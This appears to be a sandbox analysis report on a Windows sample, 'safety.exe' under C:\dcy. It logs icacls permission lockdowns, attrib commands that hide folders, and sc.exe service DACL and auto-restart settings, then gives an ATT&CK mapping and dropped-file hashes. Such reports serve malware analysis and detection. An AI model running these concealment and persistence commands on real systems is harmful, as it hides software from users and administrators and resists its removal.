        icacls "C:\dcy\Client\zh-Hant\PresentationUI.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:2624
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hant\ReachFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1312
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hant\System.Windows.Controls.Ribbon.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6068
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hant\System.Windows.Forms.Design.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5448
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hant\System.Windows.Forms.Primitives.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2288
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hant\System.Windows.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6136
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hant\System.Windows.Input.Manipulations.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2864
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hant\System.Xaml.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4900
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hant\UIAutomationClient.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3740
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hant\UIAutomationClientSideProviders.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4620
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hant\UIAutomationProvider.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1760
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hant\UIAutomationTypes.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2636
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hant\WindowsBase.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:400
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hant\WindowsFormsIntegration.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:460
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c attrib +h +s "C:\dcy" >nul 2>nul
        5⤵
        Hide Artifacts: Hidden Files and Directories
        
        PID:4844
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:5944
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy"
        6⤵
        Views/modifies file attributes
        
        PID:4744
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c for /d /r "C:\dcy" %G in (*) do attrib +h +s "%G" >nul 2>nul
        5⤵
        Hide Artifacts: Hidden Files and Directories
        
        PID:5060
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client"
        6⤵
        
        PID:5500
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\af-ZA"
        6⤵
        Views/modifies file attributes
        
        PID:1764
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\agent-cache"
        6⤵
        
        PID:4556
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\am-ET"
        6⤵
        Views/modifies file attributes
        
        PID:1216
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\ar-SA"
        6⤵
        Views/modifies file attributes
        
        PID:3396
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\az-Latn-AZ"
        6⤵
        Views/modifies file attributes
        
        PID:5464
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\be-BY"
        6⤵
        Views/modifies file attributes
        
        PID:1632
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\bg-BG"
        6⤵
        Views/modifies file attributes
        
        PID:4856
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\bn-BD"
        6⤵
        Views/modifies file attributes
        
        PID:4968
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\bs-Latn-BA"
        6⤵
        Views/modifies file attributes
        
        PID:4400
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\ca-ES"
        6⤵
        
        PID:1736
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\cs"
        6⤵
        Views/modifies file attributes
        
        PID:5064
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\cs-CZ"
        6⤵
        
        PID:5516
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\da-DK"
        6⤵
        Views/modifies file attributes
        
        PID:1708
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\de"
        6⤵
        Views/modifies file attributes
        
        PID:1168
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\de-DE"
        6⤵
        Views/modifies file attributes
        
        PID:4612
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\el-GR"
        6⤵
        Views/modifies file attributes
        
        PID:2424
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\en-GB"
        6⤵
        Views/modifies file attributes
        
        PID:2916
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\es"
        6⤵
        Views/modifies file attributes
        
        PID:4180
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\es-ES"
        6⤵
        Views/modifies file attributes
        
        PID:2980
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\es-MX"
        6⤵
        Views/modifies file attributes
        
        PID:3976
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\et-EE"
        6⤵
        Views/modifies file attributes
        
        PID:3732
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\eu-ES"
        6⤵
        Views/modifies file attributes
        
        PID:3220
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\fa-IR"
        6⤵
        Views/modifies file attributes
        
        PID:4176
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\fi-FI"
        6⤵
        Views/modifies file attributes
        
        PID:1452
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\fr"
        6⤵
        Views/modifies file attributes
        
        PID:4884
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\fr-CA"
        6⤵
        Views/modifies file attributes
        
        PID:5680
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\fr-FR"
        6⤵
        Views/modifies file attributes
        
        PID:3244
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\gl-ES"
        6⤵
        Views/modifies file attributes
        
        PID:1656
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\he-IL"
        6⤵
        Views/modifies file attributes
        
        PID:1512
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\hi-IN"
        6⤵
        Views/modifies file attributes
        
        PID:2680
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\hr-HR"
        6⤵
        Views/modifies file attributes
        
        PID:1124
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\hu-HU"
        6⤵
        
        PID:1912
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\id-ID"
        6⤵
        
        PID:3332
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\is-IS"
        6⤵
        Views/modifies file attributes
        
        PID:2684
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\it"
        6⤵
        Views/modifies file attributes
        
        PID:4288
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\it-IT"
        6⤵
        Views/modifies file attributes
        
        PID:5984
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\ja"
        6⤵
        
        PID:4460
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\ja-JP"
        6⤵
        
        PID:4360
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\ka-GE"
        6⤵
        Views/modifies file attributes
        
        PID:1240
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\kk-KZ"
        6⤵
        Views/modifies file attributes
        
        PID:3816
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\km-KH"
        6⤵
        
        PID:5840
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\kn-IN"
        6⤵
        Views/modifies file attributes
        
        PID:2312
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\ko"
        6⤵
        Views/modifies file attributes
        
        PID:5396
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\ko-KR"
        6⤵
        
        PID:4496
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\lo-LA"
        6⤵
        Views/modifies file attributes
        
        PID:4820
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\lt-LT"
        6⤵
        Views/modifies file attributes
        
        PID:3620
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\lv-LV"
        6⤵
        Views/modifies file attributes
        
        PID:3780
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\mk-MK"
        6⤵
        Views/modifies file attributes
        
        PID:2096
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\ml-IN"
        6⤵
        Views/modifies file attributes
        
        PID:2388
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\ms-MY"
        6⤵
        
        PID:2984
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\nb-NO"
        6⤵
        
        PID:244
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\nl-NL"
        6⤵
        Views/modifies file attributes
        
        PID:2264
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\nn-NO"
        6⤵
        Views/modifies file attributes
        
        PID:3916
      - C:\Windows\System32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\pl"
        6⤵
        Views/modifies file attributes
        
        PID:4952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:4488

C:\dcy\Client\safety.exe
"C:\dcy\Client\safety.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5220
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" sdset safety D:P(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCLCSWRPLOCRRCWDWO;;;BA)(A;;CCLCSWLORC;;;AU)(A;;CCLCSWLORC;;;BU)
  2⤵
  - Launches sc.exe
  PID:6140

C:\dcy\Client\safety.exe
"C:\dcy\Client\safety.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2932
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" query safety
  2⤵
  - Launches sc.exe
  PID:4280
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" query safety
  2⤵
  - Launches sc.exe
  PID:2360
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" sdset safety D:P(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLORC;;;AU)(A;;CCLCSWLORC;;;BU)
  2⤵
  PID:2864
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" description safety "safety endpoint service"
  2⤵
  PID:3756
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" failure safety reset= 86400 actions= restart/5000/restart/5000/restart/10000
  2⤵
  - Launches sc.exe
  PID:5468
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" failureflag safety 1
  2⤵
  - Launches sc.exe
  PID:4620
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" sdset safety D:P(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCLCSWRPLOCRRCWDWO;;;BA)(A;;CCLCSWLORC;;;AU)(A;;CCLCSWLORC;;;BU)
  2⤵
  - Launches sc.exe
  PID:2112
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" sdset safety D:P(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCLCSWRPLOCRRCWDWO;;;BA)(A;;CCLCSWLORC;;;AU)(A;;CCLCSWLORC;;;BU)
  2⤵
  PID:3660
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" sdset safety D:P(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCLCSWRPLOCRRCWDWO;;;BA)(A;;CCLCSWLORC;;;AU)(A;;CCLCSWLORC;;;BU)
  2⤵
  PID:3580

C:\dcy\Client\safety.exe
"C:\dcy\Client\safety.exe"
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2888
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" query safety
  2⤵
  - Launches sc.exe
  PID:3092
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" query safety
  2⤵
  PID:1764
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" sdset safety D:P(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLORC;;;AU)(A;;CCLCSWLORC;;;BU)
  2⤵
  - Launches sc.exe
  PID:5724
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3800
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" description safety "safety endpoint service"
  2⤵
  PID:5560
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" failure safety reset= 86400 actions= restart/5000/restart/5000/restart/10000
  2⤵
  - Launches sc.exe
  PID:5484
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" failureflag safety 1
  2⤵
  PID:2928
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" sdset safety D:P(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCLCSWRPLOCRRCWDWO;;;BA)(A;;CCLCSWLORC;;;AU)(A;;CCLCSWLORC;;;BU)
  2⤵
  PID:2332
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" sdset safety D:P(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCLCSWRPLOCRRCWDWO;;;BA)(A;;CCLCSWLORC;;;AU)(A;;CCLCSWLORC;;;BU)
  2⤵
  - Launches sc.exe
  PID:3020
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" sdset safety D:P(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCLCSWRPLOCRRCWDWO;;;BA)(A;;CCLCSWLORC;;;AU)(A;;CCLCSWLORC;;;BU)
  2⤵
  - Launches sc.exe
  PID:5628

C:\dcy\Client\safety.exe
"C:\dcy\Client\safety.exe"
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4520
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" query safety
  2⤵
  - Launches sc.exe
  PID:1652
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" query safety
  2⤵
  - Launches sc.exe
  PID:3520
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" sdset safety D:P(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLORC;;;AU)(A;;CCLCSWLORC;;;BU)
  2⤵
  PID:5484
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" description safety "safety endpoint service"
  2⤵
  - Launches sc.exe
  PID:5984
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" failure safety reset= 86400 actions= restart/5000/restart/5000/restart/10000
  2⤵
  - Launches sc.exe
  PID:1900
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" failureflag safety 1
  2⤵
  - Launches sc.exe
  PID:2684
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" sdset safety D:P(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCLCSWRPLOCRRCWDWO;;;BA)(A;;CCLCSWLORC;;;AU)(A;;CCLCSWLORC;;;BU)
  2⤵
  - Launches sc.exe
  PID:4204
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" sdset safety D:P(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCLCSWRPLOCRRCWDWO;;;BA)(A;;CCLCSWLORC;;;AU)(A;;CCLCSWLORC;;;BU)
  2⤵
  - Launches sc.exe
  PID:5300
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" sdset safety D:P(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCLCSWRPLOCRRCWDWO;;;BA)(A;;CCLCSWLORC;;;AU)(A;;CCLCSWLORC;;;BU)
  2⤵
  PID:3868

C:\dcy\Client\safety.exe
"C:\dcy\Client\safety.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1556
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" query safety
  2⤵
  - Launches sc.exe
  PID:3780
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" query safety
  2⤵
  - Launches sc.exe
  PID:2096
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" sdset safety D:P(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLORC;;;AU)(A;;CCLCSWLORC;;;BU)
  2⤵
  - Launches sc.exe
  PID:5560
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2928
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" description safety "safety endpoint service"
  2⤵
  - Launches sc.exe
  PID:6084
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" failure safety reset= 86400 actions= restart/5000/restart/5000/restart/10000
  2⤵
  - Launches sc.exe
  PID:4436
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3872
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" failureflag safety 1
  2⤵
  PID:4732
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5588
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" sdset safety D:P(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCLCSWRPLOCRRCWDWO;;;BA)(A;;CCLCSWLORC;;;AU)(A;;CCLCSWLORC;;;BU)
  2⤵
  PID:1172
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2220
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" sdset safety D:P(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCLCSWRPLOCRRCWDWO;;;BA)(A;;CCLCSWLORC;;;AU)(A;;CCLCSWLORC;;;BU)
  2⤵
  - Launches sc.exe
  PID:4536
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" sdset safety D:P(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCLCSWRPLOCRRCWDWO;;;BA)(A;;CCLCSWLORC;;;AU)(A;;CCLCSWLORC;;;BU)
  2⤵
  - Launches sc.exe
  PID:5484
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 1556 -s 1580
  2⤵
  PID:4316

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 484 -p 1556 -ip 1556
1⤵
PID:1508

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

Clear Persistence

T1070.009

Credential Access

Discovery

Network Share Discovery

T1135

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

deploy.log

Path C:\Users\Admin\AppData\Local\Microsoft\WU\runs\20261027-222227-4604-1-7fdc28cd\deploy.log
Size 1KB
SHA256 a5551fd231d58628c88e45ac6986a25ae323b6e1ae8a02acebca4edecccb48fc
MD5 8b34304ef9d4651c6c6f71689f25d5d2
SHA1 abcb2dadab01e8c718b0eaac76989080eca45af8
SHA512 8fb90c9d8bfefb7ef305ac114184f1eb2f18fa69238486e65541f89b99c673de7aa459d17d7a5ee6049562b0d22f945748cf3504bfc628712e2e4c6bde29decc
TLSH
T16021983690A664378B744149C3A83B298E8B9F0BD06B777CFAD4475C3F20876A81A5DD
MD5 SHA1 SHA512 TLSH

Submit Download

deploy.log

Path C:\Users\Admin\AppData\Local\Microsoft\WU\runs\20261027-222227-4604-1-7fdc28cd\deploy.log
Size 538B
SHA256 c0ec859cae5448c87623e1b7ce7088fe6032b0e0ec6b5f5e075256d9ba392aee
MD5 3b29376d6c00f677e15f20c50d4c0cd9
SHA1 37eaa39a0eec4cbc10db21149ad073f6bbfb224a
SHA512 94364a74f47969d07dfcf467e75e7a7f690953d80d0261772badb823a2375ae2017b30b69f3046b5fae9d6edccefb619dd0783f35cc69155c431b5f8e5d34969
TLSH
T1EDF09626A06274378B340144C2993A398F879F0BD07A76B8FED5538C2F219769857989
MD5 SHA1 SHA512 TLSH

Submit Download

deploy.log

Path C:\Users\Admin\AppData\Local\Microsoft\WU\runs\20261027-222227-4604-1-7fdc28cd\deploy.log
Size 2KB
SHA256 1b3cfa1361883054db46bb485968f7e23a7774b92cb51c25a357b7f1cad2f73d
MD5 9a32bbfc487ca995ebde24328fc90cb0
SHA1 5d56e4d0c42059557343e3db8a7ed4b1c2c1124b
SHA512 1704d1d4a5c7c4b04ea0a2a61cbef8d297c4621904912c6f39354babbb7b797c855f17bd0ad337eead35e31dd34f7429aef5773c6c0f83383024de7990be8dbc
TLSH
T11E51CB35A0A6A4378B644108C2943B298E879F0FD0AF777DFED4175C3F24876691A68D
MD5 SHA1 SHA512 TLSH

Submit Download

Client_srv_134.122.189.138.tmp

Path C:\Users\Admin\AppData\Local\Temp\is-JS441.tmp\Client_srv_134.122.189.138.tmp
Size 2.9MB
SHA256 a183b4ad871af863403e6a1dc80e532cedcda456eddb76cebfd0a047d644accf
MD5 ac4bd151f0dccbcc19f99f5da48b2ad5
SHA1 c3406443dc41f643b3127aae15cbf75e360d5f3c
SHA512 5571a58a2e620f05a37207a61ed4dee21256e6f3b72cc21c357a24ab0e593386ebf3d41f86396c557083c15c8840e90e6ab8323aabd0ee4f82a7173554b6a26f
SSDEEP 49152:YdJY/M+9JtzZjnoS2VC23aun8+f5KuGdaY9IGZiZIDJxF333Av:KJY/M+LtUt3P/KuGdaNGZiaPF333G
TLSH
T172E56C1BF389613ED05B1A352927C1515937BE70762A8C579BEC3E0C8F361886E3B74A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

DongchaYan.Agent.Core.dll

Path C:\dcy\Client\DongchaYan.Agent.Core.dll
Size 334KB
SHA256 2e641794db3c96d76185dcb5cd5b3d15b56527901e50e6b2dde9df6b19e9303f
MD5 327c10d78fc77daf27ce569af444bac7
SHA1 d8c829c76237d92c65680b0592d97ebe89eca56e
SHA512 80d24af58197f4eb2b300aa46323ded52766a7bd6a42eb9abbc218e650e9745c2b273d8f46b22b9e9cc62911240f40bc599129ac0699d45b84903fbc44d92c8a
SSDEEP 6144:DxS6iRF7z2xCSa+SnqIZCzpnj/3by/dULFyXbIKfeetS59E:dSr/d3qLpjZLYX8eo
TLSH
T1AE742B1177E84617E6AF577CE43A8438C77AF446616AD7AF4D8866E92E62340C8033F3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Microsoft.Data.Sqlite.dll

Path C:\dcy\Client\Microsoft.Data.Sqlite.dll
Size 170KB
SHA256 a1d8eda7ddb56f0b52216e02e583e0df5152e91d77934dad4832ccbdf4a113f2
MD5 ea13456703eb73e89ecaf57026daeca2
SHA1 dbe2744f846bb9409a1643a81e4cd5bfa922e508
SHA512 ffbf04146db140af115a6d079891e04eaa3deadb7fefd16f282ba9f97ac1e6e98e1a707b2adef3228ea5a09da58b8b6570e67802368d425f0f791ca411533bc7
SSDEEP 3072:pMvo1U7Xcbzg19SvyGuRtOcaR1Xiaj+GOtfUfxGBqilr7DmILdNw6gIxzC0yO:Uom7ss9Sa7jOcaSaeVWxN6fzCY
TLSH
T1AA04497817982103C7FFCE36B1BC6D890338595AE191A74BEC40B5ED2D637597E802AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Microsoft.Extensions.Configuration.Abstractions.dll

Path C:\dcy\Client\Microsoft.Extensions.Configuration.Abstractions.dll
Size 45KB
SHA256 a979f712b8a01f3acf36b6a2f7dc03b2d52d9ac09c8a48ad663a4fc71dd31213
MD5 8483d1b5b4374caece291f263f4aada2
SHA1 6f6a31f8b4dd0412c772f400da6cdddb76508732
SHA512 bd6dc47ceb9680a3341764cb6528ece958b9cce46b82e566999d8ef9712999f98ca3e1ded6248ae7362bd347c02a5cd861bccf5274deec285b82bdd9523bfa33
SSDEEP 384:5WsfNWjLpgMo4Oh8tpdip1vv7kVm+6mD50kv96TG/FwzzRjz6qMvckxuAQF6sczf:D2LpNoj66V7kUeDSkXZpzJ/WrjZ9z482
TLSH
T15A237D65439C4313EBBB1ABAD5F18C41AE32E7A317118AEF568DA60D0DD3BC0A772118
